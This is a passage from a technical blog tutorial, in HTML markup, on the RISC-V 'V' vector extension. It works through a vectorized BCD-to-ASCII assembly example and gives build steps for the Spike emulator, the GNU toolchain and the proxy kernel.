  <\/span><span class=\"c1\"># decrement n<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">bnez<\/span><span class=\"w\">    <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">.Loop<\/span><span class=\"w\">         <\/span><span class=\"c1\"># branch to loop head if not equal to zero<\/span>\n\n<span class=\"w\">    <\/span><span class=\"na\">...<\/span><span class=\"w\">                       <\/span><span class=\"c1\"># continue<\/span><\/pre>\n<p>In cases where <code>a2<\/code> isn't a multiple of the maximum vector length, the last iteration\nsets the vector length to a smaller value and the following vector instructions ignore\nthe unused trailing elements.\nThis implicit masking mechanism is orthogonal to the optional mask operand that is supported by most RISC-V vector instructions.<\/p>\n<p>In contrast to that, with a vector length specific ISA, the main loop usually has to be followed by some finalization code block to explicitly deal with the last elements that don't fill a complete register, e.g.:<\/p>\n<pre class=\"m-code\"><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">unsigned<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">p<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">inp<\/span><span class=\"p\">;<\/span>\n<span class=\"kt\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">l<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"w\"> <\/span><span class=\"o\">\/<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">VECTOR_LENGTH<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"n\">ELEMENT_BYTES<\/span><span class=\"p\">);<\/span>\n<span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kt\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">l<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">p<\/span><span class=\"w\"> <\/span><span class=\"o\">+=<\/span><span class=\"w\"> <\/span><span class=\"n\">VECTOR_LENGTH<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"n\">ELEMENT_BYTES<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">...<\/span><span class=\"w\"> <\/span><span class=\"c1\">\/\/ load p into a vector register<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">...<\/span><span class=\"w\"> <\/span><span class=\"c1\">\/\/ execute some vector instructions<\/span>\n<span class=\"p\">}<\/span>\n<span class=\"c1\">\/\/ deal with some remaining bytes<\/span>\n<span class=\"c1\">\/\/ e.g. by setting up a mask or work on single elements<\/span>\n<span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kt\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">l<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">p<\/span><span class=\"w\"> <\/span><span class=\"o\">+=<\/span><span class=\"w\"> <\/span><span class=\"n\">ELEMENT_BYTES<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">...<\/span><span class=\"w\"> <\/span><span class=\"c1\">\/\/ work on the next element located at p<\/span>\n<span class=\"p\">}<\/span><\/pre>\n<\/section>\n<section id=\"example\">\n<h2><a href=\"#toc-entry-3\">Example<\/a><\/h2>\n<p>To illustrate RISC-V &quot;V&quot; with a real example, this section shows how to implement a vectorized function that converts a string of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Binary-coded_decimal\">binary coded decimals (BCD)<\/a> into an <a href=\"https:\/\/en.wikipedia.org\/wiki\/ASCII\">ASCII<\/a> string.\nWhy BCD to ASCII conversion?\nThe task is complex enough such that most of the different vector instructions are used.\nOn the other hand, it's simple enough to fit into a small article and doesn't require domain specific knowledge.\nIt also demonstrates some perhaps not entirely obvious ways how vector instructions are used for string processing where those instruction could be assumed to only be useful for calculations.<\/p>\n<p>With BCD, a byte (8 bits) is divided into two <a href=\"https:\/\/en.wikipedia.org\/wiki\/Nibble\">nibbles<\/a> (4 bits) such that each nibble stores a (hexa-)decimal digit.\nNote that 4 bits allow to exactly encode <span class=\"formula\">2<sup>4<\/sup><\/span> values, thus when using it just for storing decimal digits it's not a very efficient encoding.<\/p>\n<p>For the purpose of our example, the exercise is to write vector code that efficiently converts a BCD string such as <code>{ 0x12, 0x34, ..., 0xcd, 0xef }<\/code> to a corresponding ASCII string (e.g. <code>{ '1', '2', '3', '4', ..., 'c', 'd', 'e', 'f' }<\/code>). On a high-level, a solution involves separating the nibbles into single bytes and then converting each byte to the matching ASCII value.<\/p>\n<p>The complete example source code is available in <a href=\"https:\/\/github.com\/gsauthof\/riscv\">my github repository<\/a>.<\/p>\n<section id=\"shuffling-nibbles\">\n<h3><a href=\"#toc-entry-4\">Shuffling Nibbles<\/a><\/h3>\n<p>Our function has the following function signature:<\/p>\n<pre class=\"m-code\"><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">bcd2ascii<\/span><span class=\"p\">(<\/span><span class=\"kt\">void<\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"n\">dst<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"p\">);<\/span><\/pre>\n<p>Meaning that <code>n<\/code> input bytes are read from <code>src<\/code> and the conversion writes <code>2*n<\/code> bytes into the <code>dst<\/code> output buffer.\nUnder the RISC-V calling conventions, <code>dst<\/code> is passed in register <code>a0<\/code>, <code>src<\/code> in register <code>a1<\/code> and <code>n<\/code> in register <code>a2<\/code>.<\/p>\n<pre class=\"m-code\"><span class=\"nl\">.Loop:<\/span><span class=\"w\">                        <\/span><span class=\"c1\"># local symbol name because of .L prefix<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">vsetvli<\/span><span class=\"w\"> <\/span><span class=\"no\">a3<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">e16<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">m8<\/span><span class=\"w\">   <\/span><span class=\"c1\"># switch to 16 bit element size,<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># 4 groups of 8 registers<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\"># --&gt; a3 = min(a2, 8*vlenb\/2)<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">vlbu.v<\/span><span class=\"w\"> <\/span><span class=\"no\">v16<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"no\">a1<\/span><span class=\"p\">)<\/span><span class=\"w\">          <\/span><span class=\"c1\"># Load a3 unsigned bytes,<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># one byte per 16 bit element, zero-extend,<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># starting at addr stored in a1<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\"># --&gt; v16 = | 0, a1[vlenb\/2-1], ..., 0, a1[1], 0, a1[0] |, ...,<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">#     v23 = | 0, a1[a3-1],       ...,  0, a1[7*vlenb\/2] |<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\"># --&gt; v16 = | ... 00mn 00kl 00ij 00gh |<\/span>\n\n<span class=\"w\">    <\/span><span class=\"nf\">add<\/span><span class=\"w\"> <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a3<\/span><span class=\"w\">            <\/span><span class=\"c1\"># increment src by read elements<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">sub<\/span><span class=\"w\"> <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a3<\/span><span class=\"w\">            <\/span><span class=\"c1\"># decrement n<\/span><\/pre>\n<p>The main loop starts with configuring a vector element size of 16 bit (<code>e16<\/code>), grouping 8 registers together (<code>m8<\/code>) and requesting a vector length that equals the number of remaining source bytes or the CPU maximum.\nWith this grouping, each register group is accessed by using a vector register with a number that is dividable by 8.\nThat means <code>v0<\/code> identifies the group consisting of <code>v0, v1, ..., v7<\/code>, <code>v8<\/code> identifies <code>v8, ..., v15<\/code>, etc.<\/p>\n<p>The <code>vl*.v<\/code> load instruction comes in different variants.\nHere, the <code>vlbu.v<\/code> variant zero extends each input byte per 16 bit element which is useful in our example because this directly leaves room for shuffling the nibbles.\nIn other words, it's a widening load and thus saves a separate widening operation such as <code>vwaddu.vx<\/code>.<\/p>\n<p>That means on CPUs with 256 bit vector registers, this code loads up to 128 input bytes into the <code>v16<\/code> register group.<\/p>\n<p>Note that register content in the comments is enclosed in <code>| |<\/code> and written right to left, starting with the least significant element.\nArbitrary nibbles are denoted sometimes by placeholder variables such as <code>g, h, ...<\/code>.<\/p>\n<p>The actual nibble shuffling:<\/p>\n<pre class=\"m-code\"><span class=\"nf\">vsll.vi<\/span><span class=\"w\"> <\/span><span class=\"no\">v24<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v16<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">8<\/span><span class=\"w\">       <\/span><span class=\"c1\"># shift-left-logical each element by 8 bits<\/span>\n<span class=\"c1\"># --&gt; v24 = | ... mn00 kl00 ij00 gh00 |<\/span>\n\n<span class=\"nf\">vsrl.vi<\/span><span class=\"w\"> <\/span><span class=\"no\">v16<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v16<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">4<\/span><span class=\"w\">       <\/span><span class=\"c1\"># shift-right-logical each element by 4 bits<\/span>\n<span class=\"c1\"># --&gt; v16 = | ... 000m 000k 000i 000g |<\/span>\n\n<span class=\"nf\">slli<\/span><span class=\"w\"> <\/span><span class=\"no\">a3<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a3<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"w\">            <\/span><span class=\"c1\"># shift left logical by immediate,<\/span>\n<span class=\"w\">                          <\/span><span class=\"c1\"># i.e. to double the number of vector elements<\/span>\n<span class=\"nf\">vsetvli<\/span><span class=\"w\"> <\/span><span class=\"no\">t4<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a3<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">e8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">m8<\/span><span class=\"w\">    <\/span><span class=\"c1\"># switch to 8 bit element size,<\/span>\n<span class=\"w\">                          <\/span><span class=\"c1\"># 4 groups of 8 registers<\/span>\n\n<span class=\"nf\">vand.vx<\/span><span class=\"w\"> <\/span><span class=\"no\">v24<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v24<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">t2<\/span><span class=\"w\">      <\/span><span class=\"c1\"># and each element with 0x0f,<\/span>\n<span class=\"w\">                          <\/span><span class=\"c1\"># i.e. zero-out the high nibbles<\/span>\n<span class=\"c1\"># --&gt; v24 = | ... 0n 00 0l 00 0j 00 0h 00 |<\/span>\n<span class=\"nf\">vor.vv<\/span><span class=\"w\">  <\/span><span class=\"no\">v16<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v16<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v24<\/span><span class=\"w\">     <\/span><span class=\"c1\"># or each element<\/span>\n<span class=\"c1\"># --&gt; v16 = | ... 0n 0m 0l 0k 0j 0i 0h 0g |<\/span><\/pre>\n<p>So far the example shows most of the syntactic conventions of the &quot;V&quot; ISA.\nVector instructions start with <code>v<\/code> and a suffix such as <code>.vi<\/code>, <code>.vx<\/code> and <code>.vv<\/code> describe the source operand types, i.e. vector-immediate, vector-scalar and vector-vector.<\/p>\n<p>The bit-shift instructions don't cross element boundaries.\nThus, just vector group <code>v24<\/code> has to be zero-masked and not <code>v16<\/code>.\nThe mask is located in register <code>t2<\/code> which is set before the loop start.<\/p>\n<p>Switching the vector register configuration to 8 bit elements (<code>e8<\/code>) at this\npoint allows to use <code>0xf<\/code> as mask value instead of the larger <code>0xf00<\/code>.\nThus, it fits into the immediate operand of the load immediate instruction such\nthat one additional instruction is saved (i.e. <code>addi t2,zero,15<\/code>).  It even\nfits into the immediate operand of the compressed load immediate instruction,\nwhich just encodes into two bytes (i.e. <code>c.li<\/code>) instead of the regular four.<\/p>\n<p>The final clean result of separated digits is located in vector group <code>v16<\/code>.<\/p>\n<\/section>\n<section id=\"converting-bytes\">\n<h3><a href=\"#toc-entry-5\">Converting  Bytes<\/a><\/h3>\n<p>The actual conversion is done in one instruction:<\/p>\n<pre class=\"m-code\"><span class=\"nf\">vrgather.vv<\/span><span class=\"w\"> <\/span><span class=\"no\">v24<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v16<\/span>\n<span class=\"c1\"># --&gt; v24[i] = (v16[i] &gt;= VLMAX) ? 0 : v8[v16[i]]<\/span><\/pre>\n<p>Here, vector group <code>v8<\/code> is used as table to look up the <a href=\"https:\/\/en.wikipedia.org\/wiki\/ASCII\">ASCII<\/a> values.\nThat means the <code>v8<\/code> lookup table maps the integers <code>{0, 1, 2, ..., 0xd, 0xe, 0xf }<\/code> to the ASCII characters <code>{ '0', '1', '2', ..., 'd', 'e', 'f' }<\/code>.<\/p>\n<p>Of course, this lookup table has to be constructed before the loop is entered:<\/p>\n<pre class=\"m-code\"><span class=\"nf\">li<\/span><span class=\"w\"> <\/span><span class=\"no\">a6<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">16<\/span><span class=\"w\">                 <\/span><span class=\"c1\"># load immediate (pseudo instruction)<\/span>\n<span class=\"nf\">vsetvli<\/span><span class=\"w\"> <\/span><span class=\"no\">t0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a6<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">e8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">m8<\/span><span class=\"w\">    <\/span><span class=\"c1\"># switch to 8 bit element size,<\/span>\n<span class=\"w\">                          <\/span><span class=\"c1\"># i.e. 4 groups of 8 registers<\/span>\n\n<span class=\"nf\">vid.v<\/span><span class=\"w\"> <\/span><span class=\"no\">v8<\/span><span class=\"w\">                  <\/span><span class=\"c1\"># store Vector Element Indices,<\/span>\n<span class=\"w\">                          <\/span><span class=\"c1\"># i.e. v8 = | 16, ..., 2, 1, 0 |<\/span>\n<span class=\"nf\">vmsgtu.vi<\/span><span class=\"w\"> <\/span><span class=\"no\">v0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">9<\/span><span class=\"w\">       <\/span><span class=\"c1\"># set mask-bit if greater than unsigned immediate<\/span>\n<span class=\"c1\"># --&gt; v0 = | 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 |<\/span>\n\n<span class=\"nf\">li<\/span><span class=\"w\"> <\/span><span class=\"no\">a7<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">48<\/span><span class=\"w\">                 <\/span><span class=\"c1\"># load immediate, i.e. &#39;0&#39;<\/span>\n<span class=\"nf\">vadd.vx<\/span><span class=\"w\"> <\/span><span class=\"no\">v8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a7<\/span><span class=\"w\">        <\/span><span class=\"c1\"># add that scalar to each element<\/span>\n\n<span class=\"nf\">addi<\/span><span class=\"w\"> <\/span><span class=\"no\">a7<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a7<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">-9<\/span><span class=\"w\">           <\/span><span class=\"c1\"># add immediate, i.e. set to 39 == &#39;a&#39;-&#39;0&#39;-10,<\/span>\n<span class=\"w\">                          <\/span><span class=\"c1\"># i.e. to arrive at &#39;a&#39;, &#39;b&#39;, ...<\/span>\n<span class=\"nf\">vadd.vx<\/span><span class=\"w\"> <\/span><span class=\"no\">v8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a7<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v0.t<\/span><span class=\"w\">  <\/span><span class=\"c1\"># masked add for the additional offset<\/span><\/pre>\n<p>Configuring a grouping of 8 registers for a vector of 16 elements might look like overkill because 128 bit vector registers are sufficient and should be widely available.\nOn the other hand, there might be a CPU with &quot;V&quot; support that just implements - say - 64 bit vector registers where we would need to group 2 registers.\nSince a grouping thus may be needed it really doesn't hurt to configure the maximum here.<\/p>\n<p>The <code>v0.t<\/code> syntax is just a marker that <code>v0<\/code> is used as mask.\nNote that masks always just consist of one vector register, even if register groups are configured.\nWith the current &quot;V&quot; 0.8 draft, the <code>v0<\/code> register is the only valid choice for a mask operand.<\/p>\n<p>Similar to before, the value <code>39<\/code> is constructed with <code>addi<\/code> instead of directly loading it with the pseudo-instruction <code>li<\/code> into another register because <code>-9<\/code> fits into the immediate operand of the compressed <code>c.addi<\/code> instruction.<\/p>\n<\/section>\n<section id=\"storing-the-result\">\n<h3><a href=\"#toc-entry-6\">Storing the Result<\/a><\/h3>\n<pre class=\"m-code\"><span class=\"nf\">vsb.v<\/span><span class=\"w\"> <\/span><span class=\"no\">v24<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"no\">a0<\/span><span class=\"p\">)<\/span><span class=\"w\">           <\/span><span class=\"c1\"># write result to dst<\/span>\n<span class=\"c1\"># --&gt; a0[0] = v24[0], a0[1] = v24[1], ..., a0[vl-1] = v24[vlenb-1], ...,<\/span>\n<span class=\"c1\">#     a0[vlenb*7] = v31[0],           ..., a0[t0-1] = v31[vlenb-1]<\/span>\n<span class=\"c1\"># --&gt; a0[0..t0-1] = [ &#39;g&#39;, &#39;h&#39;, &#39;i&#39;, &#39;j&#39;, &#39;k&#39;, &#39;l&#39;, &#39;m&#39;, &#39;n&#39; ]<\/span>\n<span class=\"nf\">add<\/span><span class=\"w\">  <\/span><span class=\"no\">a0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">t3<\/span><span class=\"w\">           <\/span><span class=\"c1\"># increment dst<\/span>\n<span class=\"nf\">bnez<\/span><span class=\"w\"> <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">.Loop<\/span><span class=\"w\">            <\/span><span class=\"c1\"># branch to loop head if not equal to zero<\/span>\n<span class=\"nf\">ret<\/span><\/pre>\n<p>The loop and function is left if the complete input buffer is processed.\nNote that while the syntax of most RISC-V instructions follows the destination-source order, store instructions <a href=\"https:\/\/stackoverflow.com\/q\/59802318\/427158\">have this order inverted<\/a>.<\/p>\n<\/section>\n<section id=\"concluding-remarks\">\n<h3><a href=\"#toc-entry-7\">Concluding Remarks<\/a><\/h3>\n<p>The <a href=\"https:\/\/github.com\/riscv\/riscv-v-spec\/releases\/tag\/0.8\">RISC-V &quot;V&quot; vector extension ISA<\/a> is sufficiently diverse as it contain useful bit and byte-shuffling instructions, instructions that allow the masking of elements and instructions implementing operations that are useful for string processing such as element gathering and widening.<\/p>\n<p>The available instructions in combination with the vector length agnostic (VLA) design leads to compact code.\nFor example, each iteration of the main loop just executes 14 instructions and there is no extra code necessary to deal with trailing bytes.<\/p>\n<p>The thus realized throughput is excellent, i.e. the resulting binary code automatically utilizes the complete vector register size on each CPU, be it low or high-end.\nIn addition, the grouping of vector registers allows to increase the throughput since there are many registers available.\nFor example, on a CPU with 128 bit vector registers, the loop has a throughput of 9 digits per instruction.<\/p>\n<p>Since each regular RISC-V instruction encodes into 4 bytes, the density of the assembled binary code is also good.\nFor example, the presented <code>bcd2ascii<\/code> function has a size of 96 bytes.\nWhen enabling the &quot;C&quot; compressed instructions extension during assembling (such that certain instructions can be replaces by compressed 2 byte versions), the size drops by 20 per cent down to 76 bytes.\nWhich is fine, especially given that most instructions of that function are vector ones and there are no compressed variants of the vector instructions.<\/p>\n<p>This can be contrasted by x86-64, where for example the SSSE 3 shuffle instruction encodes into 5 bytes and some moves encode into 7 bytes. Plus of course, the vector length is fixed to 128 bit when using SSSE 3 as lowest common denominator SIMD ISA.<\/p>\n<p>Emitting compressed RISC-V instruction is kind of transparent to the assembly programmer, one has just to set a assembler command line option.\nBut of course, since compressed instructions implement compromises (otherwise why wouldn't be all instructions compressed?!), the programmer has to take care to write instructions in a way such that they are compressible, where possible.\nFor example, some compressed instructions only work on a register subset (e.g. <code>s0..s1, a0..5<\/code>), one source operand is implicit, there are less bits for an immediate operand, there is just one variant that sign-extends the immediate etc.<\/p>\n<p>See also my github repository that contains the <a href=\"https:\/\/github.com\/gsauthof\/riscv\">complete example code<\/a>.<\/p>\n<\/section>\n<\/section>\n<section id=\"getting-started\">\n<h2><a href=\"#toc-entry-8\">Getting Started<\/a><\/h2>\n<p>Since as of early 2020, the &quot;V&quot; vector extension still has draft status and <a href=\"https:\/\/github.com\/riscv\/riscv-v-spec\/releases\/tag\/0.8\">version 0.8<\/a> was just released recently, support for it isn't widely available.\nThat means there is no hardware with a RISC-V &quot;V&quot; CPU available, but also some well-known RISC-V emulators such as Qemu don't support the &quot;V&quot; extension or just support an older version of the &quot;V&quot; extension.\nSimilarly, support for &quot;V&quot; version 0.8 for the standard development toolchain (binutils, gcc) is available, but not yet upstreamed.\nMeaning that one has to hunt down repositories, identify the right branches and compile those with the right flags, instead of just being able to use distro packages.<\/p>\n<p>Another pitfall is that the &quot;V&quot; extension (similar to &quot;F&quot; and &quot;D&quot; floating point extensions) has to be enabled in the running system by setting a status register.\nSince the status register can only be accessed in machine-\/system-mode that means that one also needs kernel support for the &quot;V&quot; extension.<\/p>\n<p>This section details how to build the different components required for a RISC-V &quot;V&quot; 0.8 toolchain and an emulator.<\/p>\n<section id=\"spike\">\n<h3><a href=\"#toc-entry-9\">Spike<\/a><\/h3>\n<p>The <a href=\"https:\/\/github.com\/riscv\/riscv-isa-sim\">Spike RISC-V emulator<\/a> does have &quot;V&quot; version 0.8 support.\nAs of early 2020, there is one other emulator with &quot;V&quot; 0.8 support but it isn't open source.<\/p>\n<p>Building Spike is straight forward:<\/p>\n<pre class=\"m-code\">sudo<span class=\"w\"> <\/span>dnf<span class=\"w\"> <\/span>install<span class=\"w\"> <\/span>dtc<span class=\"w\">  <\/span><span class=\"c1\"># i.e. device-tree-compiler<\/span>\ngit<span class=\"w\"> <\/span>clone<span class=\"w\"> <\/span>https:\/\/github.com\/riscv\/riscv-isa-sim.git<span class=\"w\"> <\/span>--depth<span class=\"w\"> <\/span><span class=\"m\">1<\/span>\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>riscv-isa-sim\nmkdir<span class=\"w\"> <\/span>build\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>build\n..\/configure<span class=\"w\"> <\/span>--prefix<span class=\"o\">=<\/span><span class=\"nv\">$HOME<\/span>\/local\/riscvv08\/spike\nmake\nmake<span class=\"w\"> <\/span>install<\/pre>\n<p>Of course, the <code>--depth 1<\/code> switch is optional, it just saves some disk space.<\/p>\n<p>Make sure to a have a fresh clone that has &quot;V&quot; support <a href=\"https:\/\/github.com\/riscv\/riscv-isa-sim\/issues\/381\">fixed<\/a>.<\/p>\n<p>By default Spike enables the <code>RV64IMAFDC<\/code> ISAs, but this default can be changed at runtime (or even configure time). For example when we call spike like this:<\/p>\n<pre class=\"m-code\">spike<span class=\"w\"> <\/span>--isa<span class=\"o\">=<\/span>RV64IMAFDCV<span class=\"w\"> <\/span>...\nspike<span class=\"w\"> <\/span>--isa<span class=\"o\">=<\/span>RV64gcV<span class=\"w\">     <\/span>...<span class=\"w\">    <\/span><span class=\"c1\"># equivalent<\/span><\/pre>\n<p>For executing user-space programs such as our example, spike needs the Proxy-Kernel (pk).<\/p>\n<\/section>\n<section id=\"gnu-toolchain\">\n<h3><a href=\"#toc-entry-10\">GNU Toolchain<\/a><\/h3>\n<p>Technically, binutils with &quot;V&quot; extension support is sufficient to assemble our example.\nHowever, building the Proxy-Kernel requires the full <a href=\"https:\/\/github.com\/riscv\/riscv-gnu-toolchain\">GNU toolchain<\/a>.<\/p>\n<pre class=\"m-code\">git<span class=\"w\"> <\/span>clone<span class=\"w\"> <\/span>https:\/\/github.com\/riscv\/riscv-gnu-toolchain.git<span class=\"w\"> <\/span>--branch<span class=\"w\"> <\/span>rvv-0.8.x<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">          <\/span>--single-branch<span class=\"w\"> <\/span>--depth<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>riscv-gnu-toolchain_rvv-0.8.x\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>riscv-gnu-toolchain_rvv-0.8.x\ngit<span class=\"w\"> <\/span>submodule<span class=\"w\"> <\/span>update<span class=\"w\"> <\/span>--init<span class=\"w\"> <\/span>--recursive<span class=\"w\"> <\/span>--depth<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>riscv-binutils<span class=\"w\"> <\/span>riscv-gcc<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">                        <\/span>riscv-glibc<span class=\"w\"> <\/span>riscv-dejagnu<span class=\"w\"> <\/span>riscv-newlib<span class=\"w\"> <\/span>riscv-gdb\nmkdir<span class=\"w\"> <\/span>build\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>build\n..\/configure<span class=\"w\"> <\/span>--prefix<span class=\"o\">=<\/span><span class=\"nv\">$HOME<\/span>\/local\/riscvv08\/gnu<span class=\"w\"> <\/span>--enable-multilib\nmake\nmake<span class=\"w\"> <\/span>install<\/pre>\n<p>The explicit submodule update is done like this to skip the optional Qemu module.\nBesides Qemu doesn't supporting the &quot;V&quot; extension, it would also require a deeper clone and take up some disk space and waste some compile time.<\/p>\n<p>Note that the <code>make install<\/code> step is superfluous because the previous <code>make<\/code> call already installs everything.<\/p>\n<\/section>\n<section id=\"proxy-kernel\">\n<h3><a href=\"#toc-entry-11\">Proxy-Kernel<\/a><\/h3>\n<p>The <a href=\"https:\/\/github.com\/riscv\/riscv-pk\">RISC-V Proxy-Kernel (pk)<\/a> implements enough to get a user-space program in Spike running, i.e. including setting up some status registers in machine-mode, switching to user-mode and implementing some syscalls.\nThat means that calling the write syscall to write to stdout then just works in Spike and the text is printed to the console.<\/p>\n<p>The pk needs to be cross-compiled with the GNU Toolchain (see previous Section).<\/p>\n<pre class=\"m-code\">git<span class=\"w\"> <\/span>clone<span class=\"w\"> <\/span>--depth<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>https:\/\/github.com\/riscv\/riscv-pk.git\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>riscv-pk\nmkdir<span class=\"w\"> <\/span>build\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>build\n<span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"nv\">$HOME<\/span>\/local\/riscvv08\/gnu\/bin:<span class=\"nv\">$PATH<\/span><span class=\"w\"> <\/span>..\/configure<span class=\"w\"> <\/span>--prefix<span 